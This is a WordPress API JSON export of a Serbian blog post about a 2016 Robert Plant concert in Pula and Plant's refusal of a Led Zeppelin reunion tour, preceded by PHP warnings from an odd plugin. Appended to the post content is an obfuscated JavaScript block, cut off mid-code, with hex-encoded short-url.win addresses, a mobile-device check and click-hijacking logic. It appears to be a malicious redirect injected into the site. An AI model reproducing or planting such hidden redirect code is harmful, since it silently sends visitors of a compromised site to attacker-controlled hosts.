Warning: file(./jnmdyqrkez.txt): Failed to open stream: No such file or directory in /home/drgrba/sustinapasijansa.info/wp-content/plugins/HelloDollyV2/hello_dolly_v2.php on line 41

Warning: Trying to access array offset on value of type bool in /home/drgrba/sustinapasijansa.info/wp-content/plugins/HelloDollyV2/hello_dolly_v2.php on line 42

Warning: Trying to access array offset on value of type bool in /home/drgrba/sustinapasijansa.info/wp-content/plugins/HelloDollyV2/hello_dolly_v2.php on line 42

Warning: Cannot modify header information - headers already sent by (output started at /home/drgrba/sustinapasijansa.info/wp-content/plugins/HelloDollyV2/hello_dolly_v2.php:41) in /home/drgrba/sustinapasijansa.info/wp-includes/rest-api/class-wp-rest-server.php on line 1768

Warning: Cannot modify header information - headers already sent by (output started at /home/drgrba/sustinapasijansa.info/wp-content/plugins/HelloDollyV2/hello_dolly_v2.php:41) in /home/drgrba/sustinapasijansa.info/wp-includes/rest-api/class-wp-rest-server.php on line 1768

Warning: Cannot modify header information - headers already sent by (output started at /home/drgrba/sustinapasijansa.info/wp-content/plugins/HelloDollyV2/hello_dolly_v2.php:41) in /home/drgrba/sustinapasijansa.info/wp-includes/rest-api/class-wp-rest-server.php on line 1768

Warning: Cannot modify header information - headers already sent by (output started at /home/drgrba/sustinapasijansa.info/wp-content/plugins/HelloDollyV2/hello_dolly_v2.php:41) in /home/drgrba/sustinapasijansa.info/wp-includes/rest-api/class-wp-rest-server.php on line 1768

Warning: Cannot modify header information - headers already sent by (output started at /home/drgrba/sustinapasijansa.info/wp-content/plugins/HelloDollyV2/hello_dolly_v2.php:41) in /home/drgrba/sustinapasijansa.info/wp-includes/rest-api/class-wp-rest-server.php on line 1768

Warning: Cannot modify header information - headers already sent by (output started at /home/drgrba/sustinapasijansa.info/wp-content/plugins/HelloDollyV2/hello_dolly_v2.php:41) in /home/drgrba/sustinapasijansa.info/wp-includes/rest-api/class-wp-rest-server.php on line 1768

Warning: Cannot modify header information - headers already sent by (output started at /home/drgrba/sustinapasijansa.info/wp-content/plugins/HelloDollyV2/hello_dolly_v2.php:41) in /home/drgrba/sustinapasijansa.info/wp-includes/rest-api/class-wp-rest-server.php on line 1768

Warning: Cannot modify header information - headers already sent by (output started at /home/drgrba/sustinapasijansa.info/wp-content/plugins/HelloDollyV2/hello_dolly_v2.php:41) in /home/drgrba/sustinapasijansa.info/wp-includes/rest-api/class-wp-rest-server.php on line 1768
{"id":57068,"date":"2017-05-02T16:59:00","date_gmt":"2017-05-02T14:59:00","guid":{"rendered":"http:\/\/www.sustinapasijansa.info\/?p=57068"},"modified":"2023-05-02T11:15:45","modified_gmt":"2023-05-02T09:15:45","slug":"cas-u-kojem-ti-sve-postane-jasno","status":"publish","type":"post","link":"https:\/\/www.sustinapasijansa.info\/2017\/05\/cas-u-kojem-ti-sve-postane-jasno\/","title":{"rendered":"\u010cas u kojem ti sve postane jasno"},"content":{"rendered":"

Termin “space shifter<\/em>” je jedan od onih koji zadaju muku prevodiocima i lokalizatorima (ubrajam se u ove druge, pa saose\u0107am). Ako vam nije poznata upotreba sintagme, namu\u010di\u0107ete se da ukapirate pravo zna\u010denje i na kraju, morali biste prevesti termin sa najmanje pet re\u010di, i to uz napu\u0161tanje savr\u0161enog zna\u010denja i gubitak o\u0161trine: “onaj koji menja oblik prostora”. Me\u0111utim, “space shifting<\/em>” ili “place shifting<\/em>” je savremeni termin koji se odnosi na metode i tehnike odlo\u017eenog emitovanja medijskih sadr\u017eaja u interaktivnim medijima. Recimo, ona tehni\u010dka opcija vra\u0107anja TV programa na po\u010detak emisije, koju provajderi kablovske televizije ve\u0107 neko vreme nude, spada u space shifting<\/em>.<\/p>\n

Hm\u2026 Nisam znao za to tehni\u010dko zna\u010denje termina kad sam onog dana, \u0161etaju\u0107i starim gradom u Labinu pro\u0161log leta, saznao da kroz \u010detiri dana, u pulskoj Areni, nastupaju Robert Plant and Sensational Space Shifters<\/a>. Kad mi srce nije stalo…<\/p>\n

Ova pri\u010da zahteva \u010destitu muzi\u010dku podlogu.<\/p>\n

<\/iframe><\/p>\nE, tako. Ovo \u0107e pomo\u0107i da do\u0111em do poente svoje pri\u010de.<\/p>\n<\/p>\nKao \u0161to znate, ne samo da sam spreman da u\u010dinim gomilu benastih stvari i potro\u0161im kretenski visoku svotu da bih stigao na rock koncert do kojeg mi je stalo, nego sam ja i \u010dinio razne benaste stvari i tro\u0161io kretenski visoke svote da na takve koncerte stignem. Ovog puta, prvi dani na\u0161eg pro\u0161logodi\u0161njeg letovanja u Istri su se pretvorili u kratku, ali o\u0161tru agoniju logistike nabavljanja ulaznica za koncert. Pre re\u0161enja, napisao sam deset mailova, juri\u0161ao na neke lokalne lokale i kancelarije, okrenuo naglava\u010dke vlasnika pansiona u kojem smo boravili dok nije i sam pozvao nekoliko telefonskih brojeva\u2026 A re\u0161enje je slede\u0107e, \u010disto da znate i vi ako se na\u0111ete u sli\u010dnoj situaciji na tlu Hrvatske: pri\u0111ete najbli\u017eem kiosku “Tiska”, stavite paklo \u017evaka\u0107ih guma sa stala\u017ee na pult, izaberete \u010dasopis koji vam je po volji, a ako pu\u0161ite, zatra\u017eite i cigarete po svom izboru. I ne zaboravite da ka\u017eete:<\/p>\n\u2013 Uz ovo, molim i dve ulaznice za koncert Roberta Planta u Puli slede\u0107e subote.<\/p>\nPlatite koliko treba (primaju sve popularne platne kartice), preuzmete robu, pa onda minut kasnije sednete u obli\u017enji kafi\u0107 da najzad malo smirite svoj odavno ubrzani puls.<\/p>\n<img decoding=\"async\" loading=\"lazy\" style=\"background-image: none; float: none; padding-top: 0px; padding-left: 0px; margin: 0px auto; display: block; padding-right: 0px; border: 0px;\" title=\"Ulaznica za koncert Roberta Planta. Kupljena na kiosku pored onog semafora u centru Labina.\" src=\"https:\/\/www.sustinapasijansa.info\/media\/2017\/05\/plant_ulaznica.jpg\" alt=\"Ulaznica\" width=\"640\" height=\"260\" border=\"0\" \/><\/p>\nI tako, kada je ta logistika re\u0161ena, najzad sam mogao da se posvetim pripremi za koncert. Jer, bra\u0107o draga, nakon \u0161to sam onako bezumno propustio priliku da pohodim nastup Roberta Planta na Exitu 2014. godine, nova prilika da se sretnem sa jednim od najve\u0107ih \u0161mekera u istoriji rock’n’rolla se desila preko svake nade. \u0160ta bi se desilo da smo ikako bili spre\u010deni da pohodimo koncert, ne mogu ni da zamislim. Ali, morao sam da se okanem takvog razmi\u0161ljanja: poku\u0161avao sam da u\u0111em u zonu spremnosti za taj susret.<\/p>\nTaj susret se desio i to je bilo to. Ako isklju\u010dim manju neprijatnost koju mi je priredio \u010covekoliki na prvoj rampi zbog “profesionalnog” fotoaparata, sve je pro\u0161lo u najboljem redu. Da vam prepri\u010davam tok koncerta, zaista nema smisla: pro\u0161lo je devet meseci od onda, ne mogu sada da prepri\u010davam detalje. Osve\u017eavanje se\u0107anja mi pak lako ide, jer postoji video zapis ne\u0161to ranijeg koncerta na Cevki koji se u velikoj meri preklapa repertoarom, a ja vam svakako <a href=\"https:\/\/www.youtube.com\/watch?v=idHqjO9gtPE\" target=\"_blank\" rel=\"noopener\">preporu\u010dujem da se pozabavite tim sadr\u017eajem<\/a>.<\/p>\nNego, ne\u0161to drugo sam hteo da istresem pred vas.<\/p>\n– * –<\/p>\nO instituciji <a href=\"https:\/\/en.wikipedia.org\/wiki\/Led_Zeppelin\" target=\"_blank\" rel=\"noopener\">Led Zeppelin<\/a> mo\u017ee se raspravljati na dva na\u010dina. Jedan na\u010din, onaj koji upra\u017enjavam sa bliskim prijateljima, jeste da prepustimo podrazumevanju sve ono \u0161to se zaista podrazumeva, o\u010dekuju\u0107i da \u0107e gomila pre\u0107utanih stvari na\u0107i svoj put da se ugradi u sliku. Drugi na\u010din je da potro\u0161i\u0161 mnogo vremena da ispri\u010da\u0161 ono \u0161to se ne mo\u017ee lako ispri\u010dati pre nego \u0161to se najzad seti\u0161 da nesre\u0107niku koji za Zepp ne zna pusti\u0161 svih devet albuma i, \u0161to ono re\u010de <a href=\"https:\/\/en.wikipedia.org\/wiki\/Jack_Black\" target=\"_blank\" rel=\"noopener\">Jack Black<\/a>, tako priredi\u0161 Zeppathon<\/em> budu\u0107em ljubitelju.<\/p>\nKada je <a href=\"https:\/\/en.wikipedia.org\/wiki\/John_Bonham\" target=\"_blank\" rel=\"noopener\">John Bonham<\/a> onako skupo platio fla\u0161u votke koju je popio u ku\u0107i Jimmyja Pagea, ostatak benda je doneo te\u0161ku i \u010dasnu odluku da prekine sa radom. Taj gest je automatski uveo grupu u novu sferu: o\u010dekivanje da \u0107e se ekipa okupiti ovako ili onako traje i dan-danas. U me\u0111uvremenu, desilo se nekoliko jednokratnih okupljanja. Prvi put to be\u0161e na globalnom koncertu Live Aid<\/em>, kada su se trojici preteklih \u010dlanova pridru\u017eili Phil Collins i Tony Thompson; se\u0107am se komentara: “Dok je Bonzo bio \u017eiv, nisu bila potrebna dvojica bubnjara”\u2026 Be\u0161e jo\u0161 nekolko incidentalnih kratkih okupljanja, od kojih su neka po\u0161la po zlu. Bilo je jasno da je Led Zepelin prevelik bend da bi stao u televizijsku sliku \u2013 da se tako izrazim \u2013 pa su se okanili \u0107orava posla. <a href=\"\u017e\" target=\"_blank\" rel=\"noopener\">Page i Plant<\/a> su odr\u017eavali \u010destitu saradnju tokom devedesetih. Posle dva albuma i dve svetske turneje, tokom kojih je du\u017ena pa\u017enja ulo\u017eena na \u010desto i ozbiljno podse\u0107anje da to nije Led Zeppelin, momci su nastavili sa svojim pojedina\u010dnim karijerama.<\/p>\nA to su bile (i ostale) karijere ispunjene hedonisti\u010dkim pristupom muzici: ni\u0161ta nije ra\u0111eno na silu, \u0161to je odlika ozbiljnih umetnika, pogotovo onih \u010diji unuci ne moraju da brinu za svoje finansije. Sve je to urodilo odli\u010dnom muzikom u kojoj u\u017eivamo ve\u0107 decenijama.<\/p>\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/John_Paul_Jones_(musician)\" target=\"_blank\" rel=\"noopener\">John Paul Jones<\/a> je svoj uspe\u0161ni producentski rad krunisao produciranjem <a href=\"https:\/\/en.wikipedia.org\/wiki\/Zooma\" target=\"_blank\" rel=\"noopener\">sopstvenog solo albuma<\/a> koji nije soundtrack. Jimmy Page je bio vi\u0111en na mnogim projektima, od akusti\u010dne svirke sa <a href=\"https:\/\/en.wikipedia.org\/wiki\/Roy_Harper\" target=\"_blank\" rel=\"noopener\">Royom Harperom<\/a> pod nekim \u0161atorom na <a href=\"https:\/\/www.cambridgelivetrust.co.uk\/folk-festival\" target=\"_blank\" rel=\"noopener\">Cambridge Folk Festivalu<\/a> do zajebavanja sa grupom <a href=\"https:\/\/en.wikipedia.org\/wiki\/The_Black_Crowes\" target=\"_blank\" rel=\"noopener\">The Black Crowes<\/a> (ma, bilo je i gore: nastupao je i sa <a href=\"https:\/\/en.wikipedia.org\/wiki\/Limp_Bizkit\" target=\"_blank\" rel=\"noopener\">Limp Bizkit<\/a>).<\/p>\n<a href=\"https:\/\/www.sustinapasijansa.info\/media\/2017\/05\/plant_pula.jpg\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" loading=\"lazy\" style=\"background-image: none; float: right; padding-top: 0px; padding-left: 0px; margin: 0px 0px 0px 10px; display: inline; padding-right: 0px; border: 0px;\" title=\"Robert Plant, jula 2016. je i dalje pravi dasa. Fotka by yours truly: Jasnin fotoaparat je pro\u0161ao kontrolu. Klikni za ve\u0107u sliku.\" src=\"https:\/\/www.sustinapasijansa.info\/media\/2017\/05\/plant_pula_thumb.jpg\" alt=\"Robert Plant\" width=\"300\" height=\"400\" align=\"right\" border=\"0\" \/><\/a>Hajde da ka\u017eemo naglas kako jeste: od te trojice, solo karijera Roberta Planta je, bez potrebe da ulazimo u pore\u0111enja druge vrste, muzi\u010dki najzna\u010dajnija i najsveobuhvatnija. Po\u010delo je serijom uspe\u0161nih albuma osamdesetih kojima je u\u010dinio otklon od karijere peva\u010da najve\u0107eg rock benda pod kapom nebeskom i priklonio se novom vremenu. Nastavilo se riskantnim, ali \u010dudesno uspe\u0161nim kro\u010denjem u polje egzoti\u010dne muzike Magreba i Indije, a kako sve to mo\u017ee da zvu\u010di, ve\u0107 ste \u010duli kad ste gledali MTV koncert <a href=\"https:\/\/www.youtube.com\/watch?v=uKq9QIqnE4M\" target=\"_blank\" rel=\"noopener\">No Quarter<\/a><\/em>. Koliko je otvorena du\u0161a, pokazalo se tokom saradnje sa \u0161armantnom <a href=\"https:\/\/en.wikipedia.org\/wiki\/Alison_Krauss\" target=\"_blank\" rel=\"noopener\">Alison Krauss<\/a>, sa kojom je pod upravom neverovatnog <a href=\"https:\/\/en.wikipedia.org\/wiki\/T_Bone_Burnett\" target=\"_blank\" rel=\"noopener\">T. Bone Burnetta<\/a> snimio sjajni album <a href=\"https:\/\/en.wikipedia.org\/wiki\/Raising_Sand\" target=\"_blank\" rel=\"noopener\">Raising Sand<\/em><\/a> (2007) i mrtav ‘ladan pokupio <a href=\"https:\/\/en.wikipedia.org\/wiki\/Grammy_Award_for_Album_of_the_Year\" target=\"_blank\" rel=\"noopener\">nagradu Grammy za najbolji album godine<\/a>.<\/p>\nE, onda se desilo ono \u0161to je malo ko verovao da mo\u017ee da se desi. Kada je krajem 2007. najavljen dobrotvorni koncert u se\u0107anje na <a href=\"https:\/\/en.wikipedia.org\/wiki\/Ahmet_Ertegun\" target=\"_blank\" rel=\"noopener\">Ahmeta Erteguna<\/a>, osniva\u010da kompanije <a href=\"https:\/\/en.wikipedia.org\/wiki\/Atlantic_Records\" target=\"_blank\" rel=\"noopener\">Atlantic Records<\/a>, Led Zepelin se setio koliko duguje tom \u010doveku i najzad se okupio onako kako dolikuje, na punom celove\u010dernjem nastupu. Niko nije osporio da je to na sceni kompletan <\/em>Led Zeppelin. To \u0161to je za bubnjevima sedeo <a href=\"https:\/\/en.wikipedia.org\/wiki\/Jason_Bonham\" target=\"_blank\" rel=\"noopener\">Jason Bonham<\/a>, Bonzov sin, nije bio samo simboli\u010dni gest odr\u017eavanja posla u familiji, nego se pokazalo i kao pametan izbor odli\u010dnog bubnjara.<\/p>\nO tom trijumfalnom nastupu danas se sve zna i <a href=\"https:\/\/www.youtube.com\/watch?v=ZPeUzqSyHeI\" target=\"_blank\" rel=\"noopener\">vi ste ga gledali i \u010duli<\/a>.<\/p>\nNe bi tu imalo vi\u0161e \u0161ta da se pri\u010da da se u pri\u010du nije ume\u0161ao novac… VELIK novac.<\/p>\nKad je koncert za 20.000 sre\u0107nika rasprodat za pet minuta, a potra\u017enja za ulaznicama prema\u0161ila \u0161est miliona<\/em>, postalo je jasno da Led Zeppelin mo\u017ee da se ponudi za bilo koje pare: svet je spreman da te pare obezbedi i plati. Bila bi to, verovatno, turneja koja bi prevazi\u0161la sve najve\u0107e rock spektakle koje je svet do tada video. Da prostite, uklju\u010duju\u0107i i The Rolling Stones. Procenjeno je da bismo prvi put videli svetsku turneju rock benda koja je neposredno<\/em> zaradila milijardu dolara. Bila je to procena na koju niko nije imao prigovor.<\/p>\nJohn Paul Jones je odmah izjavio ne\u0161to konformisti\u010dki, tipa “ako su momci spremni, ja sam svakako spreman”. Jimmy Page, pomalo neobi\u010dno za \u010doveka njegove reputacije, popalio se kao ku\u010de u liftu. Jedino je Plant po\u010deo da zavla\u010di i odla\u017ee svoju nameru. U jednom \u010dasu, njegov potpis je bio jedno jedino \u0161to je bilo potrebno da bi se pokrenula ma\u0161inerija. Posle dugog \u010dekanja, Page se o\u010digledno unervozio i izjavio ne\u0161to \u0161to li\u010di na reakciju nadurenog deteta, karikiram: “Pa dobro, ako ne\u0107e, ne mora, nisam ja ni mislio da mora.”<\/p>\nU tom \u010dasu je bilo jasno da od svetske turneje grupe Led Zeppelin nema ni\u0161ta. Nije pro\u0161lo dugo, Plant je i potvrdio da bi radije oti\u0161ao k vragu nego da belosvetski dripci od njegove muzike naprave dobro upakovan, presti\u017ean i skup proizvod.<\/p>\nE, sad najzad ide poenta cele pri\u010de. Ali prvo malo muzike.<\/p>\n<iframe loading=\"lazy\" src=\"https:\/\/www.youtube.com\/embed\/mCFTkMWA0GQ\" width=\"640\" height=\"360\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n– * –<\/p>\nHajde prvo da budemo na\u010disto sa jednom stvari, mada je nama smrtnicima te\u0161ko da pojmimo tako ne\u0161to: novac ne mo\u017ee biti motiv ljudima poput \u010dlanova Led Zeppelina. Lova koju su oni zaradili tokom aktivnog perioda grupe nije nikad ranije vi\u0111ena: oni su promenili pravila igre za sve. Fonografija grupe je kapital bez premca: svakih desetak godina, kako dospevaju nove generacije, dogodi se novi talas potra\u017enje za albumima grupe i to \u0107e tako trajati slede\u0107ih hiljadu godina; period namirivanja naslednika (koji po zakonima sada traje sedamdeset godina posle smrti prvog nosioca materijalnih prava) dovoljno je ispred i o tome nema potrebe razmi\u0161ljati.<\/p>\nDrugo: zajebite sentimentalnost. Led Zeppelin je muzika jednog vremena kojeg vi\u0161e nema. Nasle\u0111e koje je stvoreno i dato svetu tokom rada te grupe je jedno od onih o kojima se ne raspravlja, osim u domenu li\u010dnog ukusa, \u0161to je nebitno za pri\u010du. Me\u0111utim, ta pri\u010da je ispri\u010dana. Nije vi\u0161e mogu\u0107e uspostaviti kontekst u kojem grupa nastavlja da radi aktivno: jedino \u0161to je mogu\u0107e je serija revival koncerata pra\u0107ena odgovaraju\u0107im komercijalnim kalamburom \u2013 od majica i postera do audio\/video zapisa najvi\u0161eg zamislivog tehni\u010dkog kvaliteta. Uz svo po\u0161tovanje \u010dinjenice da mi i to volimo, to je ipak podgrevanje krompira, a ne kuvanje sarme.<\/p>\n<a href=\"https:\/\/www.sustinapasijansa.info\/media\/2017\/05\/sensationalspaceshifters_pula.jpg\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" loading=\"lazy\" style=\"background-image: none; float: none; padding-top: 0px; padding-left: 0px; margin: 0px auto; display: block; padding-right: 0px; border: 0px;\" title=\"Plant i Sensational Space Shifters u Puli, jula 2016. Fotka by yours truly: Jasnin fotoaparat je pro\u0161ao kontrolu. Klikni za ve\u0107u sliku.\" src=\"https:\/\/www.sustinapasijansa.info\/media\/2017\/05\/sensationalspaceshifters_pula_thumb.jpg\" alt=\"Sensational Space Shifters\" width=\"640\" height=\"277\" border=\"0\" \/><\/a><\/p>\nI najzad: fakat je da su ti ljudi jo\u0161 uvek izrazito vitalni za svoje godine, \u0161to samo pokazuje da vesele supstance nisu ba\u0161 tako \u0161kodljive kao \u0161to pri\u010daju ako su dovoljno kvalitetne, a konzumiraju se sa merom (jedino se Bonzo tu, hm, mal\u010dice<\/em> prera\u010dunao sa onom votkom). Ali ne treba izazivati \u0111avola. Bez obzira na sve udobnosti koje bi logistika turneje mogla doneti, jurnjava po svetu jeste naporna stvar. Toliko naporna da mora postojati li\u010dni razlog da se to trpi. A kad vi\u0161e nema\u0161 \u0161ta da dokazuje\u0161 svetu, kontekst koji prodaje\u0161 ne donosi ni\u0161ta novo, a ima\u0161 ve\u0107 svu lovu koja bi ti ikad zatrebala, koji bi to razlog bio?<\/p>\nA posle svega, u slu\u010daju Planta, koji stasom i glasom jo\u0161 uvek pokazuje da je i danas pravi \u0161meker koji obiluje \u017eivotnim sokovima, turneja Led Zeppelina bi ga nedvosmisleno udaljila od podru\u010dja o\u010diglednih interesovanja. Usput, recimo naglas kako jeste: Plant je jedini koji je, posle Zeppelina, svojom muzikom prevalio du\u017ei put<\/em> od onog koji je pre\u0161la mati\u010dna grupa.<\/p>\nSlu\u0161aju\u0107i muziku Roberta Planta sve ove godine i ostaju\u0107i svedok svih tih eksperimenata i autorskih ekstravagancija koje neumorno objavljuje ve\u0107 godinama, ja sam slutio da pravi odgovor na Plantovo “ne” turneji Zeppelina le\u017ei upravo na tom mestu: \u010dovek svakako ima po\u0161tovanje prema muzici koju je pevao i tako stekao neuporedivu reputaciju, ali ne \u017eeli da orgija po pro\u0161losti metodama koje su ni manje ni vi\u0161e nego prostitucija najvi\u0161eg nivoa.<\/p>\nBila je to, velim, samo pretpostavka. One tople julske ve\u010deri, dok sam izlazio iz prastarog zdanja u Puli, u jednom \u010dasu mi je bljesnulo: da, to je to. Plant je oti\u0161ao predaleko da bi se zarad ne\u010dijeg blagoutrobija vra\u0107ao na po\u010detak. Muzici koju Plant danas stvara, uz pomo\u0107 fenomenalnog benda koji zbilja zvu\u010di tako kao da menja oblik prostora i \u010diji stil on pomalo posprdno (ali bez cinizma) naziva country and eastern<\/em>, zaista nema \u0161ta da se doda niti oduzme: to je to. Stav prema muzici Led Zeppelina je jasan, jer varijante nekih starih pesama u izvedbi senzacionalnih Space Shiftersa izazivaju \u017emarce. Kome treba vi\u0161e? \u0160ta bi to bilo bolje od ovog? Kad se za\u017eelim klasike, uvek mogu da organizujem Zeppathon za dru\u0161tvo, uz pet litara dobrog rajnskog rizlinga. Mimo toga, daj mi ovo \u0161to Plant i njegovi ludaci sviraju sa tako puno znanja, energije i \u0161arma.<\/p>\n<a href=\"https:\/\/www.sustinapasijansa.info\/media\/2017\/05\/plant_shifters2.jpg\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" loading=\"lazy\" style=\"background-image: none; float: none; padding-top: 0px; padding-left: 0px; margin: 0px auto; display: block; padding-right: 0px; border: 0px;\" title=\"Plant i Sensational Space Shifters u Puli, jula 2016. Fotka by yours truly: Jasnin fotoaparat je pro\u0161ao kontrolu. Klikni za ve\u0107u sliku.\" src=\"https:\/\/www.sustinapasijansa.info\/media\/2017\/05\/plant_shifters2_thumb.jpg\" alt=\"Plant i Sensational Space Shifters u Puli, jula 2016.\" width=\"640\" height=\"400\" border=\"0\" \/><\/a><\/p>\nI posle svega: mo\u017ee li bolje od toga? Nisam siguran da mo\u017ee.<\/p>\nDa se razumemo: da se Zeppelini okupe, pa do\u0111u na U\u0161\u0107e u Beograd ili na tradicionalne Velikogospojinske dane u Novi Be\u010dej, svakako bih oti\u0161ao da ih gledam. No, nisam siguran da bih se proveo onako dobro kao te julske ve\u010deri u Puli. \n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x49\\x48\\x76\\x33\\x63\\x333','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x77\\x4d\\x70\\x35\\x63\\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x77\\x56\\x62\\x38\\x63\\x308','abs','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x75\\x75\\x54\\x39\\x63\\x389','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x53\\x63\\x71\\x34\\x63\\x344','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x69\\x4e\\x52\\x37\\x63\\x307','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x59\\x68\\x70\\x32\\x63\\x342','floor','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x73\\x41\\x6f\\x36\\x63\\x356','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const 